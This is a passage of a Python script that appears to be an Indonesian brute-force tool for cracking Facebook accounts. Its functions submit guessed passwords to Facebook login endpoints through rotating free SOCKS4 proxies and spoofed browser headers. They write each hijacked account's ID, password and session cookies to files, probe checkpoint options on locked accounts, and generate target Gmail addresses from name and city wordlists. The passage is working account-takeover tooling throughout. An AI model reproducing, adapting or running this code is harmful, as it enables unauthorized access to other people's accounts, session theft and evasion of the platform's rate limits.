  770.             ref = rc([f"https://{url}/login.php?skip_api_login=1&api_key=344190606773871&kid_directed_site=0&app_id=344190606773871&signed_next=1&next=https%3A%2F%2F{url}%2Fv13.0%2Fdialog%2Foauth%3Fclient_id%3D344190606773871%26redirect_uri%3Dhttps%253A%252F%252Fauthenticate.riotgames.com%252Fredirects%252Ffacebook%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Df815ea0d-433c-4a0b-a325-cdfd822fae0d%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr"])
  771.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=344190606773871&kid_directed_site=0&app_id=344190606773871&signed_next=1&next=https%3A%2F%2F{url}%2Fv13.0%2Fdialog%2Foauth%3Fclient_id%3D344190606773871%26redirect_uri%3Dhttps%253A%252F%252Fauthenticate.riotgames.com%252Fredirects%252Ffacebook%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Df815ea0d-433c-4a0b-a325-cdfd822fae0d%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  772.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  773.             'had_cp_prefilled': 'false',
  774.             'had_password_prefilled': 'false',
  775.             'is_smart_lock': 'true',
  776.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  777.             "__dyn": "",
  778.             "__csr": "",
  779.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  780.             "__a": "",
  781.             "__user": "0",
  782.             "_fb_noscript": "true"}
  783.             head = {"Host": url,
  784.             "content-length": f"{len(str(date))}",
  785.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  786.             "sec-ch-ua-mobile": "?1",
  787.             "user-agent": ua,
  788.             "viewport-width": f"str(rr(400,989)",
  789.             "content-type": "application/x-www-form-urlencoded",
  790.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  791.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  792.             "x-asbd-id": "129477",
  793.             "x-requested-with": "com.android.chrome",
  794.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  795.             "sec-ch-prefers-color-scheme": "light",
  796.             "sec-ch-ua-platform": '"Android"',
  797.             "accept": "*/*",
  798.             "origin": "https://"+url,
  799.             "sec-fetch-site": "same-origin",
  800.             "sec-fetch-mode": "cors",
  801.             "sec-fetch-dest": "empty",
  802.             "referer": ref,
  803.             "accept-encoding": "gzip, deflate, br",
  804.             "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}      
  805.             links = rc([f"https://{url}/login/device-based/login/async/?api_key=344190606773871&auth_token=3b0acfed877d6298f310b63b1bd7179d&skip_api_login=1&signed_next=1&next=https%3A%2F%2F{url}%2Fv13.0%2Fdialog%2Foauth%3Fclient_id%3D344190606773871%26redirect_uri%3Dhttps%253A%252F%252Fauthenticate.riotgames.com%252Fredirects%252Ffacebook%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Df815ea0d-433c-4a0b-a325-cdfd822fae0d%26tp%3Dunspecified&refsrc=deprecated&app_id=344190606773871&cancel=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%23_%3D_&lwv=100"])
  806.             po = ses.post(links,headers=head,data=date,allow_redirects=False,proxies=proxs)
  807.             if "c_user" in ses.cookies.get_dict().keys():
  808.                 ok+=1
  809.                 coki = po.cookies.get_dict()
  810.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  811.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  812.                 tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
  813.                 tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
  814.                 tree.add(Panel.fit(f"[green]{kuki}",style=f"#AAAAAA"))
  815.                 prints(tree)
  816.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
  817.                 break          
  818.             elif "checkpoint" in po.cookies.get_dict().keys():
  819.                 tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
  820.                 tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
  821.                 tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
  822.                 prints(tree)
  823.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  824.                 akune.append(idf+'|'+pw)
  825.                 ceker(idf,pw)
  826.                 cp+=1
  827.                 break  
  828.                
  829.             else:
  830.                 continue
  831.         except requests.exceptions.ConnectionError:
  832.             time.sleep(31)
  833.     loop+=1
  834.    
  835. #----------[ M TOUCH ASYINC ]----------#                               
  836. def cracking05(idf,pwx,url):
  837.     global loop,ok,cp
  838.     ses = requests.Session()
  839.     rr = random.randint
  840.     rc = random.choice
  841.     emot = rc(["😝","😜","ðŸĪŠ"])
  842.     prog.update(des,description=f"\r {emot} MBF 05 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  843.     prog.advance(des)
  844.     for pw in pwx:
  845.         try:
  846.             if 'ya' in uadia: ua = uamu[0]
  847.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  848.             open('socksku.txt','w').write(proxs)
  849.             nip = rc(proxs)
  850.             proxs = {'http': 'socks4://'+nip}
  851.             ua = rc(ugen)
  852.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  853.             ref = rc([f"https://{url}/login.php?skip_api_login=1&api_key=923560728108869&kid_directed_site=0&app_id=923560728108869&signed_next=1&next=https%3A%2F%2F{url}%2Fv4.0%2Fdialog%2Foauth%3Fclient_id%3D923560728108869%26redirect_uri%3Dhttps%253A%252F%252Fm.vidio.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Dpublic_profile%252C%2Bemail%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D1a6e89e0-aa8e-44c6-94a8-64fac35ccaec%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr"])
  854.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=923560728108869&kid_directed_site=0&app_id=923560728108869&signed_next=1&next=https%3A%2F%2F{url}%2Fv4.0%2Fdialog%2Foauth%3Fclient_id%3D923560728108869%26redirect_uri%3Dhttps%253A%252F%252Fm.vidio.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Dpublic_profile%252C%2Bemail%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D1a6e89e0-aa8e-44c6-94a8-64fac35ccaec%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  855.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  856.             'had_cp_prefilled': 'false',
  857.             'had_password_prefilled': 'false',
  858.             'is_smart_lock': 'true',
  859.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  860.             "__dyn": "",
  861.             "__csr": "",
  862.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  863.             "__a": "",
  864.             "__user": "0",
  865.             "_fb_noscript": "true"}
  866.             head = {"Host": url,
  867.             "content-length": f"{len(str(date))}",
  868.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  869.             "sec-ch-ua-mobile": "?1",
  870.             "user-agent": ua,
  871.             "viewport-width": f"str(rr(400,989)",
  872.             "content-type": "application/x-www-form-urlencoded",
  873.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  874.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  875.             "x-asbd-id": "129477",
  876.             "x-requested-with": "com.android.chrome",
  877.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  878.             "sec-ch-prefers-color-scheme": "light",
  879.             "sec-ch-ua-platform": '"Android"',
  880.             "accept": "*/*",
  881.             "origin": "https://"+url,
  882.             "sec-fetch-site": "same-origin",
  883.             "sec-fetch-mode": "cors",
  884.             "sec-fetch-dest": "empty",
  885.             "referer": ref,
  886.             "accept-encoding": "gzip, deflate, br",
  887.             "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}      
  888.             links = rc([f"https://{url}/login/device-based/login/async/?api_key=923560728108869&auth_token=22b3b381d95e58db81eb5262d3192248&skip_api_login=1&signed_next=1&next=https%3A%2F%2F{url}%2Fv4.0%2Fdialog%2Foauth%3Fclient_id%3D923560728108869%26redirect_uri%3Dhttps%253A%252F%252Fm.vidio.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Dpublic_profile%252C%2Bemail%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D1a6e89e0-aa8e-44c6-94a8-64fac35ccaec%26tp%3Dunspecified&refsrc=deprecated&app_id=923560728108869&cancel=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%23_%3D_&lwv=100"])
  889.             po = ses.post(links,headers=head,data=date,allow_redirects=False,proxies=proxs)
  890.             if "c_user" in ses.cookies.get_dict().keys():
  891.                 ok+=1
  892.                 coki = po.cookies.get_dict()
  893.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  894.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  895.                 tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
  896.                 tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
  897.                 tree.add(Panel.fit(f"[green]{kuki}",style=f"#AAAAAA"))
  898.                 prints(tree)
  899.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
  900.                 break          
  901.             elif "checkpoint" in po.cookies.get_dict().keys():
  902.                 tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
  903.                 tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
  904.                 tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
  905.                 prints(tree)
  906.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  907.                 akune.append(idf+'|'+pw)
  908.                 ceker(idf,pw)
  909.                 cp+=1
  910.                 break  
  911.                
  912.             else:
  913.                 continue
  914.         except requests.exceptions.ConnectionError:
  915.             time.sleep(31)
  916.     loop+=1
  917.    
  918. #----------[ MOBILE REGULER ]----------#                               
  919. def cracking06(idf,pwx,url):
  920.     global loop,ok,cp
  921.     ses = requests.Session()
  922.     rr = random.randint
  923.     rc = random.choice
  924.     emot = rc(["😝","😜","ðŸĪŠ"])
  925.     prog.update(des,description=f"\r {emot} MBF 06 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  926.     prog.advance(des)
  927.     for pw in pwx:
  928.         try:
  929.             if 'ya' in uadia: ua = uamu[0]
  930.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  931.             open('socksku.txt','w').write(proxs)
  932.             nip = rc(proxs)
  933.             proxs = {'http': 'socks4://'+nip}
  934.             ua = rc(ugen)
  935.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])    
  936.             ses.headers.update({"Host":url,
  937.             "upgrade-insecure-requests":"1",
  938.             "user-agent":ua,
  939.             "accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9",
  940.             "dnt":f"{str(rr(1,9))}",
  941.             "x-requested-with":"mark.via.gp",
  942.             "sec-fetch-site":"same-origin",
  943.             "sec-fetch-mode":"cors",
  944.             "sec-fetch-user":"empty",
  945.             "sec-fetch-dest":"document",
  946.             "referer":f"https://{url}/",
  947.             "accept-encoding":"gzip, deflate br",
  948.             "accept-language":"en-GB,en-US;q=0.9"})
  949.             link = ses.get('https://m.facebook.com/login/?email='+idf).text
  950.             date = {'lsd':re.search('name="lsd" value="(.*?)"', str(link)).group(1),'jazoest':re.search('name="jazoest" value="(.*?)"', str(link)).group(1),'m_ts':re.search('name="m_ts" value="(.*?)"', str(link)).group(1),
  951. 'li':re.search('name="li" value="(.*?)"', str(link)).group(1),'email':idf,'pass':pw}
  952.             ses.headers.update({'Host': url,
  953.             'cache-control': 'max-age=0',
  954.             'upgrade-insecure-requests': '1',
  955.             'origin': 'https://'+url,
  956.             'content-type': 'application/x-www-form-urlencoded',
  957.             'user-agent': ua,
  958.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  959.             'sec-fetch-site': 'same-origin',
  960.             'sec-fetch-mode': 'cors',
  961.             'sec-fetch-user': 'empty',
  962.             'sec-fetch-dest': 'document',
  963.             'referer': f'https://{url}/login/?email='+idf,
  964.             'accept-encoding':'gzip, deflate br',
  965.             'accept-language':'en-GB,en-US;q=0.9'})
  966.             links = rc([f"https://{url}/login/login/device-based/regular/login/?shbl=1&refsrc=deprecated"])
  967.             po = ses.post(links,data=date,allow_redirects=False,proxies=proxs)
  968.             if "c_user" in ses.cookies.get_dict().keys():
  969.                 ok+=1
  970.                 coki = po.cookies.get_dict()
  971.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  972.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  973.                 tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
  974.                 tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
  975.                 tree.add(Panel.fit(f"[green]{kuki}",style=f"#AAAAAA"))
  976.                 prints(tree)
  977.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
  978.                 break          
  979.             elif "checkpoint" in po.cookies.get_dict().keys():
  980.                 tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
  981.                 tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
  982.                 tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
  983.                 prints(tree)
  984.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  985.                 akune.append(idf+'|'+pw)
  986.                 ceker(idf,pw)
  987.                 cp+=1
  988.                 break  
  989.                
  990.             else:
  991.                 continue
  992.         except requests.exceptions.ConnectionError:
  993.             time.sleep(31)
  994.     loop+=1
  995.  
  996. #----------[ CEK-OPSI ]----------# 
  997. def ceker(idf,pw):
  998.     global cp
  999.     rc = random.choice
  1000.     url = rc(["mbasic.facebook.com"])
  1001.     head = (
  1002.     {
  1003.     "Host": url,
  1004.     "cache-control": "max-age=0",
  1005.     "upgrade-insecure-requests": "1",
  1006.     "origin": "https://"+url,
  1007.     "content-type": "application/x-www-form-urlencoded",
  1008.     "user-agent": "Mozilla/5.0 (Linux; Android 10; DOOGEE B10 Build/KOTG49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Mobile Safari/537.36",
  1009.     "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  1010.     "x-requested-with": "mark.via.gp",
  1011.     "sec-fetch-site": "same-origin",
  1012.     "sec-fetch-mode": "navigate",
  1013.     "sec-fetch-user": "?1",
  1014.     "sec-fetch-dest": "document",
  1015.     "referer": f"https://{url}/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F",
  1016.     "accept-encoding": "gzip, deflate",
  1017.     "accept-language": "fr_FR,fr;q=0.9,en-US;q=0.8,en;q=0.7"
  1018.     }
  1019. )
  1020.     ses = requests.Session()
  1021.     try:
  1022.         hi = ses.get('https://'+url)
  1023.         kontol = sop(ses.post(
  1024.         'https://'+url+'/login.php',
  1025.         data={
  1026.         'email':idf,
  1027.     'pass':pw,
  1028. 'login':'submit'
  1029.         },headers=head, allow_redirects=True).text,'html.parser')
  1030.         jo = kontol.find(
  1031.         'form'
  1032.         )
  1033.         data = {}
  1034.         lion = [
  1035.         'nh',
  1036.     'jazoest',
  1037. 'fb_dtsg',
  1038.     'submit[Continue]',
  1039.         'checkpoint_data'
  1040.         ]
  1041.         for anj in jo('input'):
  1042.             if anj.get('name') in lion:
  1043.                 data.update({anj.get('name'):anj.get('value')})
  1044.         kent = sop(ses.post('https://'+url+str(jo['action']), data=data, headers=head).text,'html.parser')
  1045.         opsi = kent.find_all('option')
  1046.         if len(opsi)==0:
  1047.             tree = Tree("")
  1048.             tree.add(Panel.fit(f"%sTapyes / A2f ( cek di mbasic )"%(H2),style=f"#AAAAAA"))
  1049.             prints(tree)
  1050.             #open('MBF-CP/'+'MBF-Tapyes.txt','a').write(idf+'|'+pw+'|'+'\n')
  1051.             #cp+=1
  1052.         else:
  1053.             for opsii in opsi:
  1054.                 print('\r%s---> %s%s'%(kk,opsii.text,x))
  1055.     except Exception as c:
  1056.         tree = Tree("")
  1057.         tree.add(Panel.fit(f"%sSpam IP Tidak Dapat Cek Opsi Checkpoint"%(M2),style=f"#AAAAAA"))
  1058.         prints(tree)
  1059.         #open('MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'|'+'\n')
  1060.         #cp+=1
  1061.            
  1062. #----------[ CRACK-EMAIL ]----------#                    
  1063. def MBF_EMAIL():
  1064.     rc = random.choice
  1065.     rr = random.randint
  1066.     xc = [" muhammad"," firman"," pratama"," tyz"," galau"," semarang"," boyolali"," cilacap"," kebumen"," banyumas"," herex"," tuban"," sumedang"," aja"," new"," baru"," setia"," sayang"," cinta"," syank kamu"," cantik"," ganteng"," imut"," kalem"," sragen"," susah sembuh"," sudah sembuh"," sakit"," wae"," sulung"," nur"," dwi"," x gans"," x jebe"," x cogan"," x id"," ganong"," situbondo"," aremania"," sunda"," garut"," cirebon"," sukabumi"," medan"," thejack"," bobotoh"," bonek"," suroboyo"," surabaya"," persebaya"," persib"," persija"," cilacap"," jepara"," solo"," official"," manis"," imut"," kalem"," utama"," sukses"," real"," semok"," kesepian"," rentcar"," makmur"," jaya"," jr"," tasik"," malang"," jogja"," mama"," ibuknya"," bundanya"," tiktok"," kece"," keren"," baru"," jutek"," saja"," putri"," andi"," dewi"," tri"," dian"," sri"," putri"," eka"," sari"," aditya"," basuki"," budi"," joni"," toni"," bekti"," cahya"," harahap"," riski"," farhan"," aden"," joko"," firman"," sulis"," soleh"," gagal"," kacau"," sulis"," rahmat"," indah"," pribadi"," saputro"," saputra"," kediri"," kudus"," jember"," situbondo"," pemalang"," wonosobo"," trenggalek","  tuban"," gresik"," bangkalan"," jombang"," kediri"," lamongan"," lumajang"," madiun"," magetan"," mojokerto"," nganjuk"," pacitan"," ngawi"," pasuruan"," ponorogo"," pamengkasan"," sidoarjo"," tuban"," blitar"," kediri"," banjarnegara"," batang"," blora"," brebes"," grobokan"," karanganyar"," kendal"," klaten"," kudus"," pati"," pekalongan"," rembang"," sragen"," tegal"," temanggung"," wonogiri"," wonosobo"," sukoharjo"," salatiga"," bandung"," ciamis"," cianjur"," cirebon"," indramayu"," majalengka"," subang"," sumedang"," purwakarta"," banjar"," bekasi"," bogor"," comahi"," depok"," tasikmalaya "]
  1067.     blk = [" muhammad"," firman"," pratama"," tyz"," galau"," semarang"," boyolali"," cilacap"," kebumen"," banyumas"," herex"," tuban"," sumedang"," aja"," new"," baru"," setia"," sayang"," cinta"," syank kamu"," cantik"," ganteng"," imut"," kalem"," sragen"," susah sembuh"," sudah sembuh"," sakit"," wae"," sulung"," nur"," dwi"," x gans"," x jebe"," x cogan"," x id"," ganong"," situbondo"," aremania"," sunda"," garut"," cirebon"," sukabumi"," medan"," thejack"," bobotoh"," bonek"," suroboyo"," surabaya"," persebaya"," persib"," persija"," cilacap"," jepara"," solo"," official"," manis"," imut"," kalem"," utama"," sukses"," real"," semok"," kesepian"," rentcar"," makmur"," jaya"," jr"," tasik"," malang"," jogja"," mama"," ibuknya"," bundanya"," tiktok"," kece"," keren"," baru"," jutek"," saja"," putri"," andi"," dewi"," tri"," dian"," sri"," putri"," eka"," sari"," aditya"," basuki"," budi"," joni"," toni"," bekti"," cahya"," harahap"," riski"," farhan"," aden"," joko"," firman"," sulis"," soleh"," gagal"," kacau"," sulis"," rahmat"," indah"," pribadi"," saputro"," saputra"," kediri"," kudus"," jember"," situbondo"," pemalang"," wonosobo"," trenggalek","  tuban"," gresik"," bangkalan"," jombang"," kediri"," lamongan"," lumajang"," madiun"," magetan"," mojokerto"," nganjuk"," pacitan"," ngawi"," pasuruan"," ponorogo"," pamengkasan"," sidoarjo"," tuban"," blitar"," kediri"," banjarnegara"," batang"," blora"," brebes"," grobokan"," karanganyar"," kendal"," klaten"," kudus"," pati"," pekalongan"," rembang"," sragen"," tegal"," temanggung"," wonogiri"," wonosobo"," sukoharjo"," salatiga"," bandung"," ciamis"," cianjur"," cirebon"," indramayu"," majalengka"," subang"," sumedang"," purwakarta"," banjar"," bekasi"," bogor"," comahi"," depok"," tasikmalaya "]
  1068.     global ok , cp
  1069.     prints(Panel(f"%s HAY KAK SILAKAN MASUKAN SATU USERNAME DI BAWAH INI "%(P2),width=80,padding=(0,12),style=f"#AAAAAA"))
  1070.     nama = console.input(f'[â€Ē] USERNAME : ')
  1071.     if ',' in str(nama):
  1072.         prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  1073.         time.sleep(3)
  1074.         MBF_MENU()
  1075.     prints(Panel(f"%s HAY KAK SILAKAN MASUKAN TOTAL TARGET EMAIL DI BAWAH INI"%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  1076.     jumlah = console.input(f'[â€Ē] TOTAL : ')
  1077.     for xyz in range(int(jumlah)):
  1078.         A = nama
  1079.         B = f'{str(rc(xc))}',f'{str(rr(0,999999999))}',f'{str(rc(blk))}'f'{str(rc(xc))}{str(rr(0,999999999))}',f'{xyz}',f'{str(rc(blk))}{str(rr(0,999999999))}',f'{str(rc(xc))}{str(rc(blk))}'
  1080.         C = f'@gmail.com'
  1081.         D = f'{A}{str(rc(B))}{C}'
  1082.         if D in id:pass
  1083.         else:id.append(D+'|'+nama)
  1084.         if len(dump)==999999:setting()
  1085.         prints(Panel(f"\r TOTAL AKUN : [green] "+str(len(id)),width=80,padding=(0,28),style=f"#AAAAAA"))
  1086.         time.sleep(0.0000003)
  1087.     print("\r")
  1088.     atur_idx()
  1089.          
  1090. #----------[ MENU-IDZ ]----------#     
  1091. def atur_idx():
  1092.      rr = random.randint
  1093.      for khusus_random in id:
  1094.             cyxieon_id = rr(0,len(id2))
  1095.             id2.insert(cyxieon_id, khusus_random)
  1096.      user_agentx()
  1097.  
  1098. #----------[ USER-AGENT ]----------#              
  1099. def user_agentx():
  1100.     prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN USER AGENT MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  1101.     uatambah = input(f'[â€Ē] PILIH : ')
  1102.     if uatambah in ['y','Ya','ya','Y']:
  1103.          uadia.append('ya')
  1104.          prints(Panel(f"%s HAY KAK SILAKAN MASUKAN USER AGENT MANUAL KAKAK "%(P2),width=80,padding=(0,12),style=f"#AAAAAA"))
  1105.          mantap = input(f'[â€Ē] UA TAMBAH : ')
  1106.          uamu.append(mantap)
  1107.     else:
  1108.         uadia.append('no')
  1109.     passwordx()
  1110.  
  1111. #----------[ PASSWORD]----------#                  
  1112. def passwordx():
  1113.     prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN PASSWORD MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  1114.     passwtamb = input(f'[â€Ē] PILIH : ')
  1115.     if passwtamb in ['y','Y']:
  1116.         sandine.append('ya')
  1117.         prints(Panel(f"%s HAY KAK SILAKAN MASUKAN PW GUNAKAN ( , ) UNTUK PEMISAH "%(P2),width=80,padding=(0,9),style=f"#AAAAAA"))
  1118.         sandiku = input(f'[â€Ē] MASUKAN PW : ')
  1119.         sandimu = sandiku.split(',')
  1120.         for sandixnxx in sandimu:
  1121.              sandina.append(sandixnxx)       
  1122.     else:
  1123.         sandine.append('no')
  1124.     otomatisx()
  1125.    
